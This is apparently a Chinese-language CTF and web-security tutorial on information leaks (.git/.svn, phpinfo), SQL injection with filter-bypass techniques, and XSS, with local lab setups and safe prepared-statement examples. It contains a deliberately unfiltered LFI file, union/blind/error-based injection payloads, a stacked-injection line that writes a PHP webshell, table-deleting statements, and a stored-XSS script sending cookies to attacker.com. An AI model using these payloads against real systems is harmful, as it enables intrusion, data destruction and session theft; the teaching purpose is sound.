2-web综合-信息泄漏_sqli_xss
一、信息泄露
(1)目录遍历
1.基础定义:
目录遍历(也叫路径遍历、目录爆破),本质是通过工具或手动方式,暴力枚举网站服务器上存在但未公开的目录 / 文件,目的是找到敏感路径、后台入口、配置文件、Flag 文件等突破点。
在 CTF 场景中,题目会把flag藏在某个未公开的目录或文件里,比如/flag.txt、/admin/flag.php,而目录遍历就是找到它的第一步。
(2) 工具篇
1. dirsearch(Python 命令行工具)
工具定位:dirsearch 是跨平台的命令行目录扫描工具,基于 Python 开发,支持自定义字典、多线程、多后缀扫描,是 CTF 和渗透测试中最常用的开源工具之一。
安装与配置:
# 方式1:Git直接克隆(推荐,自动获取最新版)
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
# 安装依赖
pip3 install -r requirements.txt
如果物理机网络问题,也可以在 GitHub 下载 ZIP 包,解压后复制到虚拟机 / 目标环境。
3.PHPinfo 泄露
什么是phpinfo.php?
phpinfo.php是一个 PHP 脚本文件,调用phpinfo()函数,会输出服务器的 PHP 配置信息,包括:
PHP 版本、服务器系统信息;
配置文件路径、环境变量;
已加载的扩展、临时文件目录;
以及部分敏感配置(如disable_functions、open_basedir)
实战练习:
步骤一:在根目录新建文件phpinfo.php内容为:
<?php
// 标准 phpinfo 信息泄露
phpinfo();
// 下面是 CTF 风格隐藏 flag,模拟真实泄露场景
$flag = "ctf{phpinfo_leak_test_2026_success}";
// 把 flag 藏进环境变量(CTF 最常见藏法)
putenv("FLAG=$flag");
// 再藏进 PHP 变量
$_SERVER['FLAG'] = $flag;
$_ENV['FLAG'] = $flag;
// 再藏进 PHP 变量表
$GLOBALS['flag_here'] = $flag;
?>
步骤二:准备一个配套 LFI 漏洞文件lfi.php
<?php
// 无任何过滤的本地文件包含漏洞,配合 phpinfo 练手
if(isset($_GET['file'])){
include($_GET['file']);
}
?>
步骤三:
访问:http://127.0.0.1/phpinfo.php http://127.0.0.1/lfi.php
**进阶实战练习:**在 phpinfo 里找 flag
步骤一:打开 phpinfo.php,按 Ctrl + F 搜索
flag
步骤二:滑动到页面最底部会直接看到一行文字就是所需要的flag
4.get泄露
核心定义:
Git 是开发者最常用的版本控制工具,项目的所有版本记录、代码变更、文件历史都会保存在项目根目录下的.git文件夹中。
Git 泄露利用工具:
dvcs-ripper:物理地址下载链接https://github.com/kost/dvcs-ripper/tree/master
将压缩包复制到kali虚拟机中进行解压:
cd ~/Desktop
unzip dvcs-ripper-master.zip
cd dvcs-ripper-master/
完成之后进行安装依赖,准备使用
# 更新软件源
sudo apt update
# 安装Perl依赖
sudo apt install perl liblwp-useragent-determined-perl libio-socket-ssl-perl -y
验证工具是否可以正常使用:
./rip-git.pl -h
输出帮助信息,说明工具安装成功
工具安装好后,就可以用它还原泄露的 Git 仓库:
# 还原目标网站的.git泄露
./rip-git.pl -u http://目标地址/.git
实战练习:
步骤 1:创建项目并初始化 Git 仓库
# 新建项目目录
mkdir -p ~/Desktop/git-leak-ctf && cd ~/Desktop/git-leak-ctf
# 初始化Git仓库
git init

步骤 2:创建包含 Flag 的文件并提交
# 创建index.php,写入Flag(模拟真实CTF场景)
cat > index.php << 'EOF'
<?php
// 正常业务代码
echo "Welcome to the Git Leak Test Site!";
// Flag藏在源代码里,浏览器访问不会直接显示
$flag = "ctf{git_leak_2026_practice_success}";
?>
EOF
# 提交文件到Git
git add index.php
git commit -m "Initial commit: add index.php with flag"

步骤 3:创建一个带历史变更的版本(模拟开发者误删敏感信息)
# 修改index.php,删除Flag(模拟开发者误删敏感信息)
cat > index.php << 'EOF'
<?php
echo "Welcome to the Git Leak Test Site!";
?>
EOF
# 提交修改
git add index.php
git commit -m "remove flag from index.php"
步骤 4:启动临时 Web 服务,暴露.git 目录
# 在项目目录下启动Python Web服务,端口8001,如果端口被占据,可以换一个新的
python3 -m http.server 8001

步骤五:启动 dirsearch,执行目录扫描,重点找.git 目录
python dirsearch.py -u http://127.0.0.1:8001 -w /usr/share/wordlists/dirb/common.txt -e php -i 200

如果扫描出现一下:
[XX:XX:XX] 200 - 100B - /.git/config
[XX:XX:XX] 200 - 200B - /.git/index
说明已经成功发现了 Git 泄露漏洞。
步骤六:执行 dvcs-ripper 还原代码
在dvcs-ripper 中执行还原命令:
./rip-git.pl -v -u http://127.0.0.1:8001/.git -o ./git-leak-result
会在当前目录看到一个新文件夹 git-leak-result,里面就是还原好的项目代码。
进入还原目录:
cd ./git-leak-result

显示已经找到正确的flag
五、SVN泄露
SVN 泄露是什么?(和 Git 的核心区别)
SVN 全称是 Subversion,是一种集中式的版本控制系统。
开发者使用 svn checkout 或 svn update 来同步代码时,项目根目录下会自动生成一个隐藏的 .svn 文件夹,里面包含了完整的版本控制信息、文件变更历史。
**漏洞成因:**服务器部署时没有删除 .svn 目录,也没有配置访问控制,导致攻击者可以直接下载并还原整个项目的源代码。
和 Git 泄露的区别:
Git 是分布式的,每个仓库有完整的 .git 目录。
SVN 是集中式的,.svn 目录通常只在本地工作副本中存在,一旦被部署到线上,危害同样巨大。
漏洞危害:
**泄露完整源代码:**攻击者可以直接还原出项目的所有文件,分析业务逻辑、寻找漏洞。
**获取历史提交记录:**通过 SVN 的版本历史,可以还原出开发者误提交的敏感信息(如数据库密码、API 密钥、Flag)。
**结合其他漏洞利用:**还原的代码可能包含 SQL 注入、文件上传等漏洞,攻击者可以直接利用拿下服务器权限。
实战练习(和 Git 泄露流程差不多):
步骤 1:安装 SVN
sudo apt update && sudo apt install subversion -y
步骤二:创建项目并初始化仓库
mkdir -p ~/Desktop/svn-leak-ctf && cd ~/Desktop/svn-leak-ctf
svnadmin create ./repo
步骤三:导出工作副本并提交代码
svn co file://$PWD/repo ./workspace
cd ./workspace
# 创建带 Flag 的 index.php
cat > index.php << 'EOF'
<?php
echo "Welcome to the SVN Leak Test Site!";
$flag = "ctf{svn_leak_2026_practice_success}";
?>
EOF
# 提交代码
svn add index.php
svn commit -m "Initial commit: add index.php with flag"
# 修改代码,删除 Flag
cat > index.php << 'EOF'
<?php
echo "Welcome to the SVN Leak Test Site!";
?>
EOF
# 再次提交
svn commit -m "remove flag from index.php"
步骤四:启动 Web 服务(暴露 .svn 目录)
cd ./workspace
python3 -m http.server 8002
步骤五:发现 SVN 泄露漏洞(用 dirsearch 扫描目标,重点关注 .svn 路径)
cd ~/Desktop/dirsearch-master
source venv/bin/activate
python dirsearch.py -u http://127.0.0.1:8002 -w /usr/share/wordlists/dirb/common.txt -e php,html -i 200

步骤六:从还原代码中找回 Flag
先回到 dvcs-ripper-master 目录
先执行还原命令(生成 svn-leak-result 文件夹)
./rip-svn.pl -v -u http://127.0.0.1:8002/.svn -o ./svn-leak-result
查看 SVN 历史,找回 Flag
# 查看所有版本记录
svn log -v
# 查看第一次提交的代码(包含Flag)
svn cat -r 1 index.php

二、Sqli理论基础部分
基本原理:SQL 注入,就是攻击者通过恶意构造用户输入,欺骗服务器执行非预期的 SQL 语句,从而泄露、篡改或删除数据库数据的漏洞。
HTTP 请求流程:
主要是客户端主机(Client Host) 和 服务器主机(Server Host) 两部分,核心链路是:浏览器(前端) → 服务器容器 → 后端应用(PHP引擎) → 数据库(DB)
PHP SQL查询的主要三种方式:
mysql拓展(了解为主,逐渐被废弃)
mysqli扩展
pdo扩展
(1)mysqli拓展
mysqli 是 mysql 扩展的升级版,支持面向对象和过程式两种写法:
| 步骤 | 方法 / 操作 | 作用 |
|---|---|---|
| 1 | new mysqli() | 初始化 MySQL 对象,建立连接 |
| 2 | $mysqli->select_db() | 选择要操作的数据库 |
| 3 | $mysqli->query() | 执行 SQL 查询 |
| 4 | $res->fetch_assoc() | 从结果集中获取一行数据(关联数组) |
| 5 | $mysqli->close() | 关闭数据库连接 |
两种写法对比:
1.直接拼接 SQL(存在注入风险)
<?php
// 1. 初始化MySQL对象
$mysqli = new mysqli('localhost', 'root', 'password', 'test_db');
if ($mysqli->connect_error) {
die('连接失败: ' . $mysqli->connect_error);
}
// 2. 选择数据库(也可以在new时直接指定)
$mysqli->select_db('test_db');
// 3. 接收用户输入并直接拼接SQL(高危!)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$res = $mysqli->query($sql);
// 4. 获取结果
if ($row = $res->fetch_assoc()) {
echo "用户名: " . $row['username'];
}
// 5. 关闭连接
$mysqli->close();
?>
攻击者输入 id=1 OR 1=1,就能查询出所有用户数据,注入原理和旧扩展完全一致。
2.使用预处理语句(完全防御注入)
mysqli 最大的优势就是支持预处理 / 参数化查询,能从根本上防御 SQL 注入:
<?php
$mysqli = new mysqli('localhost', 'root', 'password', 'test_db');
if ($mysqli->connect_error) {
die('连接失败: ' . $mysqli->connect_error);
}
$id = $_GET['id'];
// 1. 准备预处理语句(用?作为占位符)
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
// 2. 绑定参数:i表示整数类型,把$id绑定到第一个?
$stmt->bind_param("i", $id);
// 3. 执行查询
$stmt->execute();
// 4. 获取结果
$res = $stmt->get_result();
if ($row = $res->fetch_assoc()) {
echo "用户名: " . $row['username'];
}
// 5. 关闭连接和预处理语句
$stmt->close();
$mysqli->close();
?>
预处理会把 SQL 语句和用户数据分开解析,用户输入永远不会被当成 SQL 代码执行;
即使攻击者输入恶意数据,也只会被当成普通字符串处理,无法修改 SQL 逻辑
(2)PDO扩展
PDO(PHP Data Objects)是 PHP 的通用数据库抽象层,它提供了一套统一的接口,支持 MySQL、PostgreSQL、SQLite 等多种数据库。
优势:更换数据库时,代码几乎不用修改
核心亮点:原生支持预处理 / 参数化查询,能从根本上防御 SQL 注入
| 步骤 | 方法 / 操作 | 作用 |
|---|---|---|
| 1 | new PDO() | 初始化数据库连接,通过 DSN 字符串指定数据库类型、主机、库名 |
| 2 | $pdo->prepare() | 准备预处理 SQL 语句,用占位符(?或:name)代替用户输入 |
| 3 | $stmt->bindValue() | 绑定参数到占位符,也可以直接在execute()中传入数组 |
| 4 | $stmt->execute() | 执行预处理语句 |
| 5 | $stmt->fetch() | 获取查询结果(如PDO::FETCH_ASSOC表示关联数组) |
| 6 | $pdo = null | 关闭连接,回收资源 |
完整代码示例(安全写法):
<?php
// 1. 初始化PDO连接(DSN格式:数据库类型:host=主机;dbname=库名;charset=utf8)
$dsn = 'mysql:host=localhost;dbname=test;charset=utf8';
$pdo = new PDO($dsn, 'root', 'password');
// 2. 准备预处理语句(用:id作为命名占位符)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
// 3. 绑定参数并执行(直接传入数组,比bindValue更简洁)
$id = $_GET['id'];
$stmt->execute(['id' => $id]);
// 4. 获取结果
if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "用户名: " . $row['username'];
}
// 5. 关闭连接
$pdo = null;
?>
PDO 的安全,依赖于正确使用预处理语句。如果像下面这样直接拼接 SQL,依然会有注入风险:
// ❌ 危险写法:直接拼接SQL,PDO也防不住注入
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$stmt = $pdo->query($sql);
三、Union注入
核心是用 UNION SELECT 拼接两条查询语句,把原本查不到的数据 “强行合并” 到结果里,让页面直接把数据库的敏感信息(库名、表名、字段值)回显出来。
1.Union 注入的完整步骤
| 测试语句 | 现象 | 结论 | ||
|---|---|---|---|---|
| id=1’ | 页面报错 / 无返回 | 说明原 SQL 是单引号闭合的字符串类型,存在注入点 | ||
| `id=1’ | – | ‘1’='1` | 页面正常返回 | 逻辑运算生效,确认注入点有效 |
| id=1’ and sleep(3)# | 页面延迟 3 秒 | 时间盲注也生效,注入点非常可靠 |
2. 过滤字符测试
Union 注入最关键的是绕过过滤,提前测试哪些字符被过滤了:
单双引号 ’ ":如果被过滤,没法闭合语句了
注释符 # --:如果被过滤,后面的语句无法截断
关键字 UNION SELECT OR AND:如果被过滤,需要用大小写变形、内联注释绕过
3.字段猜测
目的:确定原查询的列数,以及哪些列有回显。
测列数(用 order by),order by n 会按第 n 列排序,如果列数不存在就会报错。
-- 原查询是 SELECT id,username FROM users WHERE id = '$id'
id=1' order by 3 #
测回显位置(用 union select)id=1' union select 1,2 #
3.利用 information_schema 库拿数据
查当前数据库信息
-- 查版本、当前用户、当前数据库
id=1' union select 1,version(),user(),database() #
查所有数据库名
-- 用 limit 逐个查
id=1' union select 1,2,schema_name from information_schema.schemata limit 0,1 #
-- 用 group_concat 一次性查所有库名
id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查目标库的所有表名
id=1' union select 1,2,table_name from information_schema.tables where table_schema='level1' limit 0,1 #
查目标表的所有字段名
id=1' union select 1,2,column_name from information_schema.columns where table_schema='level1' and table_name='secrets' limit 0,1 #
查具体数据(比如 Flag)
id=1' union select 1,2,hex(secret) from level1.secrets limit 0,1 #
四、过滤绕过
(1)过滤关键字(SELECT/UNION等)
1.内联注释绕过 /**/,利用 MySQL 的内联注释特性,在关键字中间插入注释,破坏检测规则:
sel/**/ect 1,2 from users;
uni/**/on sel/**/ect 1,2 from users;
2.大小写变形绕过,MySQL 的关键字不区分大小写,而很多检测是大小写敏感的:
SelEct 1,2 from users;
UNioN sElEcT 1,2 from users;
3.双写绕过
如果过滤规则是把关键字替换为空,可以通过双写的方式,让中间的部分被吃掉后,剩余的字符拼接成完整关键字:
-- 原过滤规则:把 "select" 替换为空
seleselectct 1,2 from users;
4.编码绕过
省略
(2)过滤逗号 ,
1.JOIN 绕过
用 JOIN 连接多个子查询,替代逗号分隔的列:
-- 原语句(有逗号)
union select 1,2,3 from users;
-- 绕过语句(无逗号)
union select * from (select 1)a join (select 2)b join (select 3)c;
2.FROM … FOR 语法(用于字符串截取函数)
用 substr(str FROM pos FOR len) 替代 substr(str, pos, len):
-- 原语句(有逗号)
substr('flag',1,1);
-- 绕过语句(无逗号)
substr('flag' FROM 1 FOR 1);
mid('flag' FROM 1 FOR 1);
3.LIMIT … OFFSET 绕过
用 LIMIT 1 OFFSET 1 替代 LIMIT 1,1:
-- 原语句(有逗号)
select * from users limit 1,1;
-- 绕过语句(无逗号)
select * from users limit 1 offset 1;
(3)过滤空格
1.空白字符替代
MySQL 会忽略某些空白字符,可以直接用这些字符替代空格:
%09(Tab 键)
%0A(换行符)
%0B(垂直制表符)
%0C(换页符)
%0D(回车符)
%A0(非断空格)
2.内联注释替代
用 /**/ 替代空格:
select/**/1,2/**/from/**/users;
3.括号替代
用括号把 SQL 语句包裹起来,不需要空格也能正常解析:
select(1),(2)from(users);
(4)过滤等号=
等号常用于 where name=‘flag’,被过滤后可以用以下替代:
1.LIKE 替代
LIKE 在匹配字符串时和 = 效果相同(没有通配符的情况下):
-- 原语句
select flag from users where name='flag';
-- 绕过语句
select flag from users where name like 'flag';
2.IN 操作符
select flag from users where name in ('flag');
3.BETWEEN … AND
select flag from users where name between 'flag' and 'flag';
(5)过滤比较符(>/<)
被过滤后可以用以下函数或操作符替代:
1.GREATEST() / LEAST() 函数
-- 替代 a > b
greatest(a,b)=a;
2.STRCMP() 函数
STRCMP(str1, str2) 会返回:
0:str1 = str2
1:str1 > str2
-1:str1 < str2
-- 替代 a = b
strcmp(a,b)=0;
3.逻辑运算符替代
AND → &&
OR → ||
NOT → !
XOR → |
(6)实战技巧
组合绕过:真实场景中往往是多种过滤同时存在,需要组合使用以上技巧。
比如:
-- 过滤了空格、逗号、select
uni/**/on sel/**/ect*from(select(1)a join(select(2)b);
六、报错注入
核心原理:报错注入的本质是构造一条会让数据库报错的语句,把你想查询的数据(库名、表名等),拼接在报错信息里,数据库返回错误时,会把拼接的数据一起显示出来。
前提条件:
网站开启了 SQL 错误回显(PHP 未关闭 display_errors)
注入点可以执行 SQL 语句(比如字符串类型注入点)
两种最常用的报错函数:
1.extractvalue() 报错注入
extractvalue(xml, xpath) 用于从 XML 文档中提取数据,当 xpath 参数不合法时,会抛出错误并显示参数内容。
and extractvalue(1, concat(0x7e, (你的查询语句), 0x7e))
2.updatexml() 报错注入
updatexml(xml, xpath, new_xml) 用于更新 XML 文档,当 xpath 参数不合法时,同样会抛出错误。
and updatexml(1, concat(0x7e, (你的查询语句), 0x7e), 1)
七、盲注
(1)布尔盲注
核心定义:当 SQL 注入的环境不直接返回数据结果,但能通过页面的「正常 / 异常状态」(也就是 true/false)判断语句是否执行成功时,我们用的就是布尔盲注。
页面正常→ 条件为true
页面异常→ 条件为false
布尔盲注的核心函数与语法:
| 函数 | 作用 | 示例 |
|---|---|---|
| substring(str, pos, len) | 从字符串str的第pos位开始,截取长度为len的子串 | substring(database(),1,1) → 截取当前数据库名的第 1 个字符 |
| ascii(char) | 把字符转为对应的 ASCII 码数字 | ascii(‘a’) → 97 |
| if(cond, true_val, false_val) | 条件判断,条件为真返回true_val,否则返回false_val | if(1=1,1,0) → 1 |
(2)时间盲注
核心定义:当注入环境没有任何回显、也没有布尔状态差异(true 和 false 的页面完全一样)时,我们通过sleep()/benchmark()等函数让 SQL 执行延时,再根据页面响应时间来判断条件是否为真。
条件为true → 触发延时,页面响应变慢
条件为false → 不触发延时,页面正常响应
时间盲注的核心函数与语法:
| 函数 | 作用 | 示例 |
|---|---|---|
| sleep(n) | 让 SQL 语句执行暂停 n 秒 | sleep(5) → 延时 5 秒 |
| if(cond, true_val, false_val) | 条件判断,条件为真时执行true_val,否则执行false_val | if(1=1, sleep(5), 1) → 延时 5 秒 |
基础语法模板:
以猜解数据库名长度为例:
and if(length(database())=4, sleep(5), 1)
页面响应时间 > 5 秒 → 条件为true,数据库名长度为 4
页面正常响应 → 条件为false,长度不是 4
逐位猜解模板:
and if(ascii(substring(database(), 第几位, 1))=115, sleep(5), 1)
页面延时 5 秒 → 条件为true,当前位的字符 ASCII=115(即s)
页面正常响应 → 条件为false,字符不是s
八、盲注进阶
实际上盲注的本质就两步:
1.构造布尔条件:让 SQL 语句能区分「真 / 假」(或者「延时 / 不延时」)
2.构造逻辑判断:用字符串截取函数,把数据库里的字符一个个猜出来
(1)构造布尔条件:
核心:条件为真时页面正常,条件为假时页面异常。
1.基础模板:
-- 最常用的基础格式,适合id=1这样的数字型注入
?id=1 and {bool}
-- 字符型注入(比如name=admin),用单引号闭合
?name=admin' or {bool}#
{bool} 就是你的布尔条件,比如 1=1(真)、length(database())=4(猜库名长度)
2.过滤空格、注释符(#、–)
服务器如果把空格、注释给拦了,就用括号代替空格,用=代替注释闭合:
?id=1 and({bool})=1
?name=admin' or({bool})=1--
3.过滤or、and、注释符
用||代替or,用&&代替and
用^!()取反来构造条件
?id=1 ^!({bool})='1
?id=1 ||({bool})='1
4.过滤等号(=)
用<>、in、like、regexp来代替等号:
?id=1 or({bool})<>0
?id=1 or(({bool}) in(1)) or'0
(2)构造逻辑判断条件
- 基础字符串截取函数
| 函数 | 作用 | 示例 |
|---|---|---|
| substr(str, pos, len) | 从str的第pos位开始,截取len个字符 | substr(database(),1,1) → 取库名第 1 个字符 |
| mid(str, pos, len) | 和substr完全一样,写法不同 | mid(user(),1,1) → 取用户名第 1 个字符 |
| left(str, len) | 取str的前len个字符 | left(database(),1) → 取库名第 1 个字符 |
| right(str, len) | 取str的后len个字符 | right(database(),1) → 取库名最后 1 个字符 |
| 2.过滤逗号(substr(str,pos,len) 里的逗号被拦了) | ||
| 用 SQL 的FROM…FOR语法代替逗号: |
mid(user() from 1 for 1) -- 等价于 mid(user(),1,1)
mid(user() from 1) -- 从第1位开始取到末尾,用来猜单个字符
九、堆叠注入
1.核心原理: 在 SQL 中,分号 ; 是用来结束一条语句的。 如果服务器支持执行多条 SQL 语句,我们就可以用 ; 结束原语句,再拼接一条恶意语句,让服务器一次性执行多条命令。
正常请求:id=1 → 执行 select * from products where productid=1
恶意请求:id=1; DELETE FROM products → 服务器会执行两条语句:
select * from products where productid=1(原语句)
DELETE FROM products(恶意语句,删除整个表)
2.堆叠注入 vs 联合注入
| 特性 | 堆叠注入 | 联合注入 |
|---|---|---|
| 语句类型 | 支持任意 SQL 语句(查询、删除、修改、创建表、写文件等) | 仅支持查询语句(SELECT) |
| 作用 | 不仅能查数据,还能删库删表、修改数据、甚至写 WebShell | 只能联合查询,把其他表的数据拼接到结果里 |
| 示例 | id=1; DROP TABLE users;(直接删表) | id=1 union select 1,username,password from users(只能查数据) |
| 风险 | 极高,可直接控制数据库 | 仅泄露数据 |
实战示例:
假设目标注入点:http://www/index.php?id=1,且支持堆叠注入。
步骤一:验证堆叠注入是否存在
http://target.com/index.php?id=1; show databases;
如果页面返回了所有数据库名,说明支持堆叠注入。
步骤二:执行恶意语句
http://www/index.php?id=1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/backdoor.php';
执行后,访问 http://www/backdoor.php?cmd=id 即可执行系统命令。
十、二次注入
核心定义: 二次注入是一种「分两次执行的 SQL 注入攻击」:
第一次(插入阶段): 用户输入被 addslashes() 等函数转义(比如单引号’变成’),存入数据库,看起来是安全的。
第二次(取出阶段): 程序从数据库取出之前存入的数据,拼接进新的 SQL 语句时,没有再次转义,导致原本被转义的单引号恢复功能,触发 SQL 注入。
攻击原理拆解:
以注册场景为例,完整流程是:
注册时: 输入用户名 admin’#,程序用 addslashes() 转义后,存入数据库的是 admin’#(转义后的单引号)。
重置密码时: 程序从数据库取出 admin’#(此时转义符号\会被 MySQL 解析掉,恢复为admin’#),拼接进 SQL 语句:
UPDATE users SET password='newpass' WHERE username='admin'#';
这里的#会把后面的语句注释掉,实际执行的 SQL 变成:
UPDATE users SET password='newpass' WHERE username='admin';
直接修改了admin用户的密码,攻击成功。
十一、XSS(跨站脚本)
XSS 全称 Cross Site Scripting(跨站脚本攻击),本质是一种「前端注入攻击」:
攻击者把恶意脚本注入到页面中,当用户访问该页面时,脚本会在用户的浏览器里执行,从而窃取信息、劫持用户行为。
核心危害:
盗取用户 Cookie,直接登录账号
篡改页面内容、钓鱼诈骗
执行恶意代码、挂马、劫持浏览器
内网渗透、蠕虫式扩散(存储型 XSS)
三大类型:
反射型(非持久型)
存储型(持久型)
DOM 型(客户端型)
(1)反射型 XSS(非持久型)
核心特点:
一次性攻击: 脚本不会存入服务器,只会在用户点击特制链接时触发
典型场景:搜索框、URL 参数、留言板临时展示
必须欺骗用户点击攻击链接,攻击成本较高
示例:
比如搜索页面:http://target.com/search.php?q=你好
果 q 参数没有过滤,攻击者可以构造链接:
http://target.com/search.php?q=<script>alert(document.cookie)</script>
用户点击链接后,页面会直接弹出自己的 Cookie,攻击者就能拿到登录态。
(2)存储型 XSS(持久型)
核心特点:
永久存在: 脚本会存入服务器数据库,所有访问该页面的用户都会触发
典型场景:评论区、个人资料、论坛帖子、留言板
攻击面广、危害极大,甚至能形成 “XSS 蠕虫” 扩散攻击
示例:
在论坛评论区提交内容:
<script>
// 自动把访问者的Cookie发送到攻击者服务器
new Image().src = "http://attacker.com/steal?c=" + document.cookie;
</script>
这条评论存入数据库后,每个访问帖子的用户,Cookie 都会被自动发送给攻击者。
(3) DOM 型 XSS(客户端型)
核心特点:
纯前端执行: 不依赖服务器响应,完全由客户端 JavaScript 处理
典型场景:URL 锚点、location.hash、document.referrer 等 DOM 对象
脚本在本地执行,服务器日志不会留下痕迹,隐蔽性强
示例:
页面代码:
<script>
// 直接把URL参数拼接到页面中
let name = new URLSearchParams(location.search).get("name");
document.write("欢迎你:" + name);
</script>
攻击者构造链接:
http://target.com/welcome.html?name=<script>alert(document.cookie)</script>
用户点击后,浏览器会直接解析并执行脚本,服务器完全不知情。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
所有评论(0)